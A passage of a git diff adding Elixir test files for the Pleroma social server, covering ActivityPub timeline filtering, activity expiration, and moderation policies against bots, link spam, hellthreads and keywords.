other_user) + + {:ok, post} = CommonAPI.post(user, %{status: "yo"}) + {:ok, other_post} = CommonAPI.post(third_user, %{status: "yo"}) + {:ok, _announce} = CommonAPI.repeat(post.id, other_user) + {:ok, _announce} = CommonAPI.repeat(post.id, third_user) + {:ok, announce} = CommonAPI.repeat(other_post.id, other_user) + + params = %{ + type: ["Announce"] + } + + results = + [user.ap_id | User.following(user)] + |> ActivityPub.fetch_activities(params) + + assert length(results) == 3 + + params = %{ + type: ["Announce"], + announce_filtering_user: user + } + + [result] = + [user.ap_id | User.following(user)] + |> ActivityPub.fetch_activities(params) + + assert result.id == announce.id + end + end + + describe "replies filtering with private messages" do + setup :private_messages + + test "public timeline", %{users: %{u1: user}} do + activities_ids = + %{} + |> Map.put(:type, ["Create", "Announce"]) + |> Map.put(:local_only, false) + |> Map.put(:blocking_user, user) + |> Map.put(:muting_user, user) + |> Map.put(:user, user) + |> ActivityPub.fetch_public_activities() + |> Enum.map(& &1.id) + + assert activities_ids == [] + end + + test "public timeline with default reply_visibility `following`", %{users: %{u1: user}} do + activities_ids = + %{} + |> Map.put(:type, ["Create", "Announce"]) + |> Map.put(:local_only, false) + |> Map.put(:blocking_user, user) + |> Map.put(:muting_user, user) + |> Map.put(:reply_visibility, "following") + |> Map.put(:reply_filtering_user, user) + |> Map.put(:user, user) + |> ActivityPub.fetch_public_activities() + |> Enum.map(& &1.id) + + assert activities_ids == [] + end + + test "public timeline with default reply_visibility `self`", %{users: %{u1: user}} do + activities_ids = + %{} + |> Map.put(:type, ["Create", "Announce"]) + |> Map.put(:local_only, false) + |> Map.put(:blocking_user, user) + |> Map.put(:muting_user, user) + |> Map.put(:reply_visibility, "self") + |> Map.put(:reply_filtering_user, user) + |> Map.put(:user, user) + |> ActivityPub.fetch_public_activities() + |> Enum.map(& &1.id) + + assert activities_ids == [] + + activities_ids = + %{} + |> Map.put(:reply_visibility, "self") + |> Map.put(:reply_filtering_user, nil) + |> ActivityPub.fetch_public_activities() + + assert activities_ids == [] + end + + test "home timeline", %{users: %{u1: user}} do + params = + %{} + |> Map.put(:type, ["Create", "Announce"]) + |> Map.put(:blocking_user, user) + |> Map.put(:muting_user, user) + |> Map.put(:user, user) + + activities_ids = + ActivityPub.fetch_activities([user.ap_id | User.following(user)], params) + |> Enum.map(& &1.id) + + assert length(activities_ids) == 12 + end + + test "home timeline with default reply_visibility `following`", %{users: %{u1: user}} do + params = + %{} + |> Map.put(:type, ["Create", "Announce"]) + |> Map.put(:blocking_user, user) + |> Map.put(:muting_user, user) + |> Map.put(:user, user) + |> Map.put(:reply_visibility, "following") + |> Map.put(:reply_filtering_user, user) + + activities_ids = + ActivityPub.fetch_activities([user.ap_id | User.following(user)], params) + |> Enum.map(& &1.id) + + assert length(activities_ids) == 12 + end + + test "home timeline with default reply_visibility `self`", %{ + users: %{u1: user}, + activities: activities, + u1: u1, + u2: u2, + u3: u3, + u4: u4 + } do + params = + %{} + |> Map.put(:type, ["Create", "Announce"]) + |> Map.put(:blocking_user, user) + |> Map.put(:muting_user, user) + |> Map.put(:user, user) + |> Map.put(:reply_visibility, "self") + |> Map.put(:reply_filtering_user, user) + + activities_ids = + ActivityPub.fetch_activities([user.ap_id | User.following(user)], params) + |> Enum.map(& &1.id) + + assert length(activities_ids) == 10 + + visible_ids = + Map.values(u1) ++ Map.values(u4) ++ [u2[:r1], u3[:r1]] ++ Map.values(activities) + + assert Enum.all?(visible_ids, &(&1 in activities_ids)) + end + end + + defp public_messages(_) do + [u1, u2, u3, u4] = insert_list(4, :user) + {:ok, u1} = User.follow(u1, u2) + {:ok, u2} = User.follow(u2, u1) + {:ok, u1} = User.follow(u1, u4) + {:ok, u4} = User.follow(u4, u1) + + {:ok, u2} = User.follow(u2, u3) + {:ok, u3} = User.follow(u3, u2) + + {:ok, a1} = CommonAPI.post(u1, %{status: "Status"}) + + {:ok, r1_1} = + CommonAPI.post(u2, %{ + status: "@#{u1.nickname} reply from u2 to u1", + in_reply_to_status_id: a1.id + }) + + {:ok, r1_2} = + CommonAPI.post(u3, %{ + status: "@#{u1.nickname} reply from u3 to u1", + in_reply_to_status_id: a1.id + }) + + {:ok, r1_3} = + CommonAPI.post(u4, %{ + status: "@#{u1.nickname} reply from u4 to u1", + in_reply_to_status_id: a1.id + }) + + {:ok, a2} = CommonAPI.post(u2, %{status: "Status"}) + + {:ok, r2_1} = + CommonAPI.post(u1, %{ + status: "@#{u2.nickname} reply from u1 to u2", + in_reply_to_status_id: a2.id + }) + + {:ok, r2_2} = + CommonAPI.post(u3, %{ + status: "@#{u2.nickname} reply from u3 to u2", + in_reply_to_status_id: a2.id + }) + + {:ok, r2_3} = + CommonAPI.post(u4, %{ + status: "@#{u2.nickname} reply from u4 to u2", + in_reply_to_status_id: a2.id + }) + + {:ok, a3} = CommonAPI.post(u3, %{status: "Status"}) + + {:ok, r3_1} = + CommonAPI.post(u1, %{ + status: "@#{u3.nickname} reply from u1 to u3", + in_reply_to_status_id: a3.id + }) + + {:ok, r3_2} = + CommonAPI.post(u2, %{ + status: "@#{u3.nickname} reply from u2 to u3", + in_reply_to_status_id: a3.id + }) + + {:ok, r3_3} = + CommonAPI.post(u4, %{ + status: "@#{u3.nickname} reply from u4 to u3", + in_reply_to_status_id: a3.id + }) + + {:ok, a4} = CommonAPI.post(u4, %{status: "Status"}) + + {:ok, r4_1} = + CommonAPI.post(u1, %{ + status: "@#{u4.nickname} reply from u1 to u4", + in_reply_to_status_id: a4.id + }) + + {:ok, r4_2} = + CommonAPI.post(u2, %{ + status: "@#{u4.nickname} reply from u2 to u4", + in_reply_to_status_id: a4.id + }) + + {:ok, r4_3} = + CommonAPI.post(u3, %{ + status: "@#{u4.nickname} reply from u3 to u4", + in_reply_to_status_id: a4.id + }) + + {:ok, + users: %{u1: u1, u2: u2, u3: u3, u4: u4}, + activities: %{a1: a1.id, a2: a2.id, a3: a3.id, a4: a4.id}, + u1: %{r1: r1_1.id, r2: r1_2.id, r3: r1_3.id}, + u2: %{r1: r2_1.id, r2: r2_2.id, r3: r2_3.id}, + u3: %{r1: r3_1.id, r2: r3_2.id, r3: r3_3.id}, + u4: %{r1: r4_1.id, r2: r4_2.id, r3: r4_3.id}} + end + + defp private_messages(_) do + [u1, u2, u3, u4] = insert_list(4, :user) + {:ok, u1} = User.follow(u1, u2) + {:ok, u2} = User.follow(u2, u1) + {:ok, u1} = User.follow(u1, u3) + {:ok, u3} = User.follow(u3, u1) + {:ok, u1} = User.follow(u1, u4) + {:ok, u4} = User.follow(u4, u1) + + {:ok, u2} = User.follow(u2, u3) + {:ok, u3} = User.follow(u3, u2) + + {:ok, a1} = CommonAPI.post(u1, %{status: "Status", visibility: "private"}) + + {:ok, r1_1} = + CommonAPI.post(u2, %{ + status: "@#{u1.nickname} reply from u2 to u1", + in_reply_to_status_id: a1.id, + visibility: "private" + }) + + {:ok, r1_2} = + CommonAPI.post(u3, %{ + status: "@#{u1.nickname} reply from u3 to u1", + in_reply_to_status_id: a1.id, + visibility: "private" + }) + + {:ok, r1_3} = + CommonAPI.post(u4, %{ + status: "@#{u1.nickname} reply from u4 to u1", + in_reply_to_status_id: a1.id, + visibility: "private" + }) + + {:ok, a2} = CommonAPI.post(u2, %{status: "Status", visibility: "private"}) + + {:ok, r2_1} = + CommonAPI.post(u1, %{ + status: "@#{u2.nickname} reply from u1 to u2", + in_reply_to_status_id: a2.id, + visibility: "private" + }) + + {:ok, r2_2} = + CommonAPI.post(u3, %{ + status: "@#{u2.nickname} reply from u3 to u2", + in_reply_to_status_id: a2.id, + visibility: "private" + }) + + {:ok, a3} = CommonAPI.post(u3, %{status: "Status", visibility: "private"}) + + {:ok, r3_1} = + CommonAPI.post(u1, %{ + status: "@#{u3.nickname} reply from u1 to u3", + in_reply_to_status_id: a3.id, + visibility: "private" + }) + + {:ok, r3_2} = + CommonAPI.post(u2, %{ + status: "@#{u3.nickname} reply from u2 to u3", + in_reply_to_status_id: a3.id, + visibility: "private" + }) + + {:ok, a4} = CommonAPI.post(u4, %{status: "Status", visibility: "private"}) + + {:ok, r4_1} = + CommonAPI.post(u1, %{ + status: "@#{u4.nickname} reply from u1 to u4", + in_reply_to_status_id: a4.id, + visibility: "private" + }) + + {:ok, + users: %{u1: u1, u2: u2, u3: u3, u4: u4}, + activities: %{a1: a1.id, a2: a2.id, a3: a3.id, a4: a4.id}, + u1: %{r1: r1_1.id, r2: r1_2.id, r3: r1_3.id}, + u2: %{r1: r2_1.id, r2: r2_2.id}, + u3: %{r1: r3_1.id, r2: r3_2.id}, + u4: %{r1: r4_1.id}} + end + + describe "maybe_update_follow_information/1" do + setup do + clear_config([:instance, :external_user_synchronization], true) + + user = %{ + local: false, + ap_id: "https://gensokyo.2hu/users/raymoo", + following_address: "https://gensokyo.2hu/users/following", + follower_address: "https://gensokyo.2hu/users/followers", + type: "Person" + } + + %{user: user} + end + + test "logs an error when it can't fetch the info", %{user: user} do + assert capture_log(fn -> + ActivityPub.maybe_update_follow_information(user) + end) =~ "Follower/Following counter update for #{user.ap_id} failed" + end + + test "just returns the input if the user type is Application", %{ + user: user + } do + user = + user + |> Map.put(:type, "Application") + + refute capture_log(fn -> + assert ^user = ActivityPub.maybe_update_follow_information(user) + end) =~ "Follower/Following counter update for #{user.ap_id} failed" + end + + test "it just returns the input if the user has no following/follower addresses", %{ + user: user + } do + user = + user + |> Map.put(:following_address, nil) + |> Map.put(:follower_address, nil) + + refute capture_log(fn -> + assert ^user = ActivityPub.maybe_update_follow_information(user) + end) =~ "Follower/Following counter update for #{user.ap_id} failed" + end + end + + describe "global activity expiration" do + test "creates an activity expiration for local Create activities" do + clear_config([:mrf, :policies], Pleroma.Web.ActivityPub.MRF.ActivityExpirationPolicy) + + {:ok, activity} = ActivityBuilder.insert(%{"type" => "Create", "context" => "3hu"}) + {:ok, follow} = ActivityBuilder.insert(%{"type" => "Follow", "context" => "3hu"}) + + assert_enqueued( + worker: Pleroma.Workers.PurgeExpiredActivity, + args: %{activity_id: activity.id}, + scheduled_at: + activity.inserted_at + |> DateTime.from_naive!("Etc/UTC") + |> Timex.shift(days: 365) + ) + + refute_enqueued( + worker: Pleroma.Workers.PurgeExpiredActivity, + args: %{activity_id: follow.id} + ) + end + end + + describe "handling of clashing nicknames" do + test "renames an existing user with a clashing nickname and a different ap id" do + orig_user = + insert( + :user, + local: false, + nickname: "admin@mastodon.example.org", + ap_id: "http://mastodon.example.org/users/harinezumigari" + ) + + %{ + nickname: orig_user.nickname, + ap_id: orig_user.ap_id <> "part_2" + } + |> ActivityPub.maybe_handle_clashing_nickname() + + user = User.get_by_id(orig_user.id) + + assert user.nickname == "#{orig_user.id}.admin@mastodon.example.org" + end + + test "does nothing with a clashing nickname and the same ap id" do + orig_user = + insert( + :user, + local: false, + nickname: "admin@mastodon.example.org", + ap_id: "http://mastodon.example.org/users/harinezumigari" + ) + + %{ + nickname: orig_user.nickname, + ap_id: orig_user.ap_id + } + |> ActivityPub.maybe_handle_clashing_nickname() + + user = User.get_by_id(orig_user.id) + + assert user.nickname == orig_user.nickname + end + end + + describe "reply filtering" do + test "`following` still contains announcements by friends" do + user = insert(:user) + followed = insert(:user) + not_followed = insert(:user) + + User.follow(user, followed) + + {:ok, followed_post} = CommonAPI.post(followed, %{status: "Hello"}) + + {:ok, not_followed_to_followed} = + CommonAPI.post(not_followed, %{ + status: "Also hello", + in_reply_to_status_id: followed_post.id + }) + + {:ok, retoot} = CommonAPI.repeat(not_followed_to_followed.id, followed) + + params = + %{} + |> Map.put(:type, ["Create", "Announce"]) + |> Map.put(:blocking_user, user) + |> Map.put(:muting_user, user) + |> Map.put(:reply_filtering_user, user) + |> Map.put(:reply_visibility, "following") + |> Map.put(:announce_filtering_user, user) + |> Map.put(:user, user) + + activities = + [user.ap_id | User.following(user)] + |> ActivityPub.fetch_activities(params) + + followed_post_id = followed_post.id + retoot_id = retoot.id + + assert [%{id: ^followed_post_id}, %{id: ^retoot_id}] = activities + + assert length(activities) == 2 + end + + # This test is skipped because, while this is the desired behavior, + # there seems to be no good way to achieve it with the method that + # we currently use for detecting to who a reply is directed. + # This is a TODO and should be fixed by a later rewrite of the code + # in question. + @tag skip: true + test "`following` still contains self-replies by friends" do + user = insert(:user) + followed = insert(:user) + not_followed = insert(:user) + + User.follow(user, followed) + + {:ok, followed_post} = CommonAPI.post(followed, %{status: "Hello"}) + {:ok, not_followed_post} = CommonAPI.post(not_followed, %{status: "Also hello"}) + + {:ok, _followed_to_not_followed} = + CommonAPI.post(followed, %{status: "sup", in_reply_to_status_id: not_followed_post.id}) + + {:ok, _followed_self_reply} = + CommonAPI.post(followed, %{status: "Also cofe", in_reply_to_status_id: followed_post.id}) + + params = + %{} + |> Map.put(:type, ["Create", "Announce"]) + |> Map.put(:blocking_user, user) + |> Map.put(:muting_user, user) + |> Map.put(:reply_filtering_user, user) + |> Map.put(:reply_visibility, "following") + |> Map.put(:announce_filtering_user, user) + |> Map.put(:user, user) + + activities = + [user.ap_id | User.following(user)] + |> ActivityPub.fetch_activities(params) + + assert length(activities) == 2 + end + end +end diff --git a/test/pleroma/web/activity_pub/force_bot_unlisted_policy_test.exs b/test/pleroma/web/activity_pub/force_bot_unlisted_policy_test.exs new file mode 100644 index 000000000..86dd9ddae --- /dev/null +++ b/test/pleroma/web/activity_pub/force_bot_unlisted_policy_test.exs @@ -0,0 +1,60 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.MRF.ForceBotUnlistedPolicyTest do + use Pleroma.DataCase + import Pleroma.Factory + + alias Pleroma.Web.ActivityPub.MRF.ForceBotUnlistedPolicy + @public "https://www.w3.org/ns/activitystreams#Public" + + defp generate_messages(actor) do + {%{ + "actor" => actor.ap_id, + "type" => "Create", + "object" => %{}, + "to" => [@public, "f"], + "cc" => [actor.follower_address, "d"] + }, + %{ + "actor" => actor.ap_id, + "type" => "Create", + "object" => %{"to" => ["f", actor.follower_address], "cc" => ["d", @public]}, + "to" => ["f", actor.follower_address], + "cc" => ["d", @public] + }} + end + + test "removes from the federated timeline by nickname heuristics 1" do + actor = insert(:user, %{nickname: "annoying_ebooks@example.com"}) + + {message, except_message} = generate_messages(actor) + + assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message} + end + + test "removes from the federated timeline by nickname heuristics 2" do + actor = insert(:user, %{nickname: "cirnonewsnetworkbot@meow.cat"}) + + {message, except_message} = generate_messages(actor) + + assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message} + end + + test "removes from the federated timeline by actor type Application" do + actor = insert(:user, %{actor_type: "Application"}) + + {message, except_message} = generate_messages(actor) + + assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message} + end + + test "removes from the federated timeline by actor type Service" do + actor = insert(:user, %{actor_type: "Service"}) + + {message, except_message} = generate_messages(actor) + + assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message} + end +end diff --git a/test/pleroma/web/activity_pub/mrf/activity_expiration_policy_test.exs b/test/pleroma/web/activity_pub/mrf/activity_expiration_policy_test.exs new file mode 100644 index 000000000..e7370d4ef --- /dev/null +++ b/test/pleroma/web/activity_pub/mrf/activity_expiration_policy_test.exs @@ -0,0 +1,84 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.MRF.ActivityExpirationPolicyTest do + use ExUnit.Case, async: true + alias Pleroma.Web.ActivityPub.MRF.ActivityExpirationPolicy + + @id Pleroma.Web.Endpoint.url() <> "/activities/cofe" + @local_actor Pleroma.Web.Endpoint.url() <> "/users/cofe" + + test "adds `expires_at` property" do + assert {:ok, %{"type" => "Create", "expires_at" => expires_at}} = + ActivityExpirationPolicy.filter(%{ + "id" => @id, + "actor" => @local_actor, + "type" => "Create", + "object" => %{"type" => "Note"} + }) + + assert Timex.diff(expires_at, DateTime.utc_now(), :days) == 364 + end + + test "keeps existing `expires_at` if it less than the config setting" do + expires_at = DateTime.utc_now() |> Timex.shift(days: 1) + + assert {:ok, %{"type" => "Create", "expires_at" => ^expires_at}} = + ActivityExpirationPolicy.filter(%{ + "id" => @id, + "actor" => @local_actor, + "type" => "Create", + "expires_at" => expires_at, + "object" => %{"type" => "Note"} + }) + end + + test "overwrites existing `expires_at` if it greater than the config setting" do + too_distant_future = DateTime.utc_now() |> Timex.shift(years: 2) + + assert {:ok, %{"type" => "Create", "expires_at" => expires_at}} = + ActivityExpirationPolicy.filter(%{ + "id" => @id, + "actor" => @local_actor, + "type" => "Create", + "expires_at" => too_distant_future, + "object" => %{"type" => "Note"} + }) + + assert Timex.diff(expires_at, DateTime.utc_now(), :days) == 364 + end + + test "ignores remote activities" do + assert {:ok, activity} = + ActivityExpirationPolicy.filter(%{ + "id" => "https://example.com/123", + "actor" => "https://example.com/users/cofe", + "type" => "Create", + "object" => %{"type" => "Note"} + }) + + refute Map.has_key?(activity, "expires_at") + end + + test "ignores non-Create/Note activities" do + assert {:ok, activity} = + ActivityExpirationPolicy.filter(%{ + "id" => "https://example.com/123", + "actor" => "https://example.com/users/cofe", + "type" => "Follow" + }) + + refute Map.has_key?(activity, "expires_at") + + assert {:ok, activity} = + ActivityExpirationPolicy.filter(%{ + "id" => "https://example.com/123", + "actor" => "https://example.com/users/cofe", + "type" => "Create", + "object" => %{"type" => "Cofe"} + }) + + refute Map.has_key?(activity, "expires_at") + end +end diff --git a/test/pleroma/web/activity_pub/mrf/anti_followbot_policy_test.exs b/test/pleroma/web/activity_pub/mrf/anti_followbot_policy_test.exs new file mode 100644 index 000000000..3c795f5ac --- /dev/null +++ b/test/pleroma/web/activity_pub/mrf/anti_followbot_policy_test.exs @@ -0,0 +1,72 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.MRF.AntiFollowbotPolicyTest do + use Pleroma.DataCase + import Pleroma.Factory + + alias Pleroma.Web.ActivityPub.MRF.AntiFollowbotPolicy + + describe "blocking based on attributes" do + test "matches followbots by nickname" do + actor = insert(:user, %{nickname: "followbot@example.com"}) + target = insert(:user) + + message = %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "type" => "Follow", + "actor" => actor.ap_id, + "object" => target.ap_id, + "id" => "https://example.com/activities/1234" + } + + assert {:reject, "[AntiFollowbotPolicy]" <> _} = AntiFollowbotPolicy.filter(message) + end + + test "matches followbots by display name" do + actor = insert(:user, %{name: "Federation Bot"}) + target = insert(:user) + + message = %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "type" => "Follow", + "actor" => actor.ap_id, + "object" => target.ap_id, + "id" => "https://example.com/activities/1234" + } + + assert {:reject, "[AntiFollowbotPolicy]" <> _} = AntiFollowbotPolicy.filter(message) + end + end + + test "it allows non-followbots" do + actor = insert(:user) + target = insert(:user) + + message = %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "type" => "Follow", + "actor" => actor.ap_id, + "object" => target.ap_id, + "id" => "https://example.com/activities/1234" + } + + {:ok, _} = AntiFollowbotPolicy.filter(message) + end + + test "it gracefully handles nil display names" do + actor = insert(:user, %{name: nil}) + target = insert(:user) + + message = %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "type" => "Follow", + "actor" => actor.ap_id, + "object" => target.ap_id, + "id" => "https://example.com/activities/1234" + } + + {:ok, _} = AntiFollowbotPolicy.filter(message) + end +end diff --git a/test/pleroma/web/activity_pub/mrf/anti_link_spam_policy_test.exs b/test/pleroma/web/activity_pub/mrf/anti_link_spam_policy_test.exs new file mode 100644 index 000000000..6867c9853 --- /dev/null +++ b/test/pleroma/web/activity_pub/mrf/anti_link_spam_policy_test.exs @@ -0,0 +1,166 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.MRF.AntiLinkSpamPolicyTest do + use Pleroma.DataCase + import Pleroma.Factory + import ExUnit.CaptureLog + + alias Pleroma.Web.ActivityPub.MRF.AntiLinkSpamPolicy + + @linkless_message %{ + "type" => "Create", + "object" => %{ + "content" => "hi world!" + } + } + + @linkful_message %{ + "type" => "Create", + "object" => %{ + "content" => "hi world!" + } + } + + @response_message %{ + "type" => "Create", + "object" => %{ + "name" => "yes", + "type" => "Answer" + } + } + + describe "with new user" do + test "it allows posts without links" do + user = insert(:user, local: false) + + assert user.note_count == 0 + + message = + @linkless_message + |> Map.put("actor", user.ap_id) + + {:ok, _message} = AntiLinkSpamPolicy.filter(message) + end + + test "it disallows posts with links" do + user = insert(:user, local: false) + + assert user.note_count == 0 + + message = + @linkful_message + |> Map.put("actor", user.ap_id) + + {:reject, _} = AntiLinkSpamPolicy.filter(message) + end + + test "it allows posts with links for local users" do + user = insert(:user) + + assert user.note_count == 0 + + message = + @linkful_message + |> Map.put("actor", user.ap_id) + + {:ok, _message} = AntiLinkSpamPolicy.filter(message) + end + end + + describe "with old user" do + test "it allows posts without links" do + user = insert(:user, note_count: 1) + + assert user.note_count == 1 + + message = + @linkless_message + |> Map.put("actor", user.ap_id) + + {:ok, _message} = AntiLinkSpamPolicy.filter(message) + end + + test "it allows posts with links" do + user = insert(:user, note_count: 1) + + assert user.note_count == 1 + + message = + @linkful_message + |> Map.put("actor", user.ap_id) + + {:ok, _message} = AntiLinkSpamPolicy.filter(message) + end + end + + describe "with followed new user" do + test "it allows posts without links" do + user = insert(:user, follower_count: 1) + + assert user.follower_count == 1 + + message = + @linkless_message + |> Map.put("actor", user.ap_id) + + {:ok, _message} = AntiLinkSpamPolicy.filter(message) + end + + test "it allows posts with links" do + user = insert(:user, follower_count: 1) + + assert user.follower_count == 1 + + message = + @linkful_message + |> Map.put("actor", user.ap_id) + + {:ok, _message} = AntiLinkSpamPolicy.filter(message) + end + end + + describe "with unknown actors" do + setup do + Tesla.Mock.mock(fn + %{method: :get, url: "http://invalid.actor"} -> + %Tesla.Env{status: 500, body: ""} + end) + + :ok + end + + test "it rejects posts without links" do + message = + @linkless_message + |> Map.put("actor", "http://invalid.actor") + + assert capture_log(fn -> + {:reject, _} = AntiLinkSpamPolicy.filter(message) + end) =~ "[error] Could not decode user at fetch http://invalid.actor" + end + + test "it rejects posts with links" do + message = + @linkful_message + |> Map.put("actor", "http://invalid.actor") + + assert capture_log(fn -> + {:reject, _} = AntiLinkSpamPolicy.filter(message) + end) =~ "[error] Could not decode user at fetch http://invalid.actor" + end + end + + describe "with contentless-objects" do + test "it does not reject them or error out" do + user = insert(:user, note_count: 1) + + message = + @response_message + |> Map.put("actor", user.ap_id) + + {:ok, _message} = AntiLinkSpamPolicy.filter(message) + end + end +end diff --git a/test/pleroma/web/activity_pub/mrf/ensure_re_prepended_test.exs b/test/pleroma/web/activity_pub/mrf/ensure_re_prepended_test.exs new file mode 100644 index 000000000..9a283f27d --- /dev/null +++ b/test/pleroma/web/activity_pub/mrf/ensure_re_prepended_test.exs @@ -0,0 +1,92 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.MRF.EnsureRePrependedTest do + use Pleroma.DataCase + + alias Pleroma.Activity + alias Pleroma.Object + alias Pleroma.Web.ActivityPub.MRF.EnsureRePrepended + + describe "rewrites summary" do + test "it adds `re:` to summary object when child summary and parent summary equal" do + message = %{ + "type" => "Create", + "object" => %{ + "summary" => "object-summary", + "inReplyTo" => %Activity{object: %Object{data: %{"summary" => "object-summary"}}} + } + } + + assert {:ok, res} = EnsureRePrepended.filter(message) + assert res["object"]["summary"] == "re: object-summary" + end + + test "it adds `re:` to summary object when child summary containts re-subject of parent summary " do + message = %{ + "type" => "Create", + "object" => %{ + "summary" => "object-summary", + "inReplyTo" => %Activity{object: %Object{data: %{"summary" => "re: object-summary"}}} + } + } + + assert {:ok, res} = EnsureRePrepended.filter(message) + assert res["object"]["summary"] == "re: object-summary" + end + end + + describe "skip filter" do + test "it skip if type isn't 'Create'" do + message = %{ + "type" => "Annotation", + "object" => %{"summary" => "object-summary"} + } + + assert {:ok, res} = EnsureRePrepended.filter(message) + assert res == message + end + + test "it skip if summary is empty" do + message = %{ + "type" => "Create", + "object" => %{ + "inReplyTo" => %Activity{object: %Object{data: %{"summary" => "summary"}}} + } + } + + assert {:ok, res} = EnsureRePrepended.filter(message) + assert res == message + end + + test "it skip if inReplyTo is empty" do + message = %{"type" => "Create", "object" => %{"summary" => "summary"}} + assert {:ok, res} = EnsureRePrepended.filter(message) + assert res == message + end + + test "it skip if parent and child summary isn't equal" do + message = %{ + "type" => "Create", + "object" => %{ + "summary" => "object-summary", + "inReplyTo" => %Activity{object: %Object{data: %{"summary" => "summary"}}} + } + } + + assert {:ok, res} = EnsureRePrepended.filter(message) + assert res == message + end + + test "it skips if the object is only a reference" do + message = %{ + "type" => "Create", + "object" => "somereference" + } + + assert {:ok, res} = EnsureRePrepended.filter(message) + assert res == message + end + end +end diff --git a/test/pleroma/web/activity_pub/mrf/hellthread_policy_test.exs b/test/pleroma/web/activity_pub/mrf/hellthread_policy_test.exs new file mode 100644 index 000000000..26f5bcdaa --- /dev/null +++ b/test/pleroma/web/activity_pub/mrf/hellthread_policy_test.exs @@ -0,0 +1,92 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.MRF.HellthreadPolicyTest do + use Pleroma.DataCase + import Pleroma.Factory + + import Pleroma.Web.ActivityPub.MRF.HellthreadPolicy + + alias Pleroma.Web.CommonAPI + + setup do + user = insert(:user) + + message = %{ + "actor" => user.ap_id, + "cc" => [user.follower_address], + "type" => "Create", + "to" => [ + "https://www.w3.org/ns/activitystreams#Public", + "https://instance.tld/users/user1", + "https://instance.tld/users/user2", + "https://instance.tld/users/user3" + ], + "object" => %{ + "type" => "Note" + } + } + + [user: user, message: message] + end + + setup do: clear_config(:mrf_hellthread) + + test "doesn't die on chat messages" do + Pleroma.Config.put([:mrf_hellthread], %{delist_threshold: 2, reject_threshold: 0}) + + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post_chat_message(user, other_user, "moin") + + assert {:ok, _} = filter(activity.data) + end + + describe "reject" do + test "rejects the message if the recipient count is above reject_threshold", %{ + message: message + } do + Pleroma.Config.put([:mrf_hellthread], %{delist_threshold: 0, reject_threshold: 2}) + + assert {:reject, "[HellthreadPolicy] 3 recipients is over the limit of 2"} == + filter(message) + end + + test "does not reject the message if the recipient count is below reject_threshold", %{ + message: message + } do + Pleroma.Config.put([:mrf_hellthread], %{delist_threshold: 0, reject_threshold: 3}) + + assert {:ok, ^message} = filter(message) + end + end + + describe "delist" do + test "delists the message if the recipient count is above delist_threshold", %{ + user: user, + message: message + } do + Pleroma.Config.put([:mrf_hellthread], %{delist_threshold: 2, reject_threshold: 0}) + + {:ok, message} = filter(message) + assert user.follower_address in message["to"] + assert "https://www.w3.org/ns/activitystreams#Public" in message["cc"] + end + + test "does not delist the message if the recipient count is below delist_threshold", %{ + message: message + } do + Pleroma.Config.put([:mrf_hellthread], %{delist_threshold: 4, reject_threshold: 0}) + + assert {:ok, ^message} = filter(message) + end + end + + test "excludes follower collection and public URI from threshold count", %{message: message} do + Pleroma.Config.put([:mrf_hellthread], %{delist_threshold: 0, reject_threshold: 3}) + + assert {:ok, ^message} = filter(message) + end +end diff --git a/test/pleroma/web/activity_pub/mrf/keyword_policy_test.exs b/test/pleroma/web/activity_pub/mrf/keyword_policy_test.exs new file mode 100644 index 000000000..b3d0f3d90 --- /dev/null +++ b/test/pleroma/web/activity_pub/mrf/keyword_policy_test.exs @@ -0,0 +1,225 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.MRF.KeywordPolicyTest do + use Pleroma.DataCase + + alias Pleroma.Web.ActivityPub.MRF.KeywordPolicy + + setup do: clear_config(:mrf_keyword) + + setup do + Pleroma.Config.put([:mrf_keyword], %{reject: [], federated_timeline_removal: [], replace: []}) + end + + describe "rejecting based on keywords" do + test "rejects if string matches in content" do + Pleroma.Config.put([:mrf_keyword, :reject], ["pun"]) + + message = %{ + "type" => "Create", + "object" => %{ + "content" => "just a daily reminder that compLAINer is a good pun", + "summary" => "" + } + } + + assert {:reject, "[KeywordPolicy] Matches with rejected keyword"} = + KeywordPolicy.filter(message) + end + + test "rejects if string matches in summary" do + Pleroma.Config.put([:mrf_keyword, :reject], ["pun"]) + + message = %{ + "type" => "Create", + "object" => %{ + "summary" => "just a daily reminder that compLAINer is a good pun", + "content" => "" + } + } + + assert {:reject, "[KeywordPolicy] Matches with rejected keyword"} = + KeywordPolicy.filter(message) + end + + test "rejects if regex matches in content" do + Pleroma.Config.put([:mrf_keyword, :reject], [~r/comp[lL][aA][iI][nN]er/]) + + assert true == + Enum.all?(["complainer", "compLainer", "compLAiNer", "compLAINer"], fn content -> + message = %{ + "type" => "Create", + "object" => %{ + "content" => "just a daily reminder that #{content} is a good pun", + "summary" => "" + } + } + + {:reject, "[KeywordPolicy] Matches with rejected keyword"} == + KeywordPolicy.filter(message) + end) + end + + test "rejects if regex matches in summary" do + Pleroma.Config.put([:mrf_keyword, :reject], [~r/comp[lL][aA][iI][nN]er/]) + + assert true == + Enum.all?(["complainer", "compLainer", "compLAiNer", "compLAINer"], fn content -> + message = %{ + "type" => "Create", + "object" => %{ + 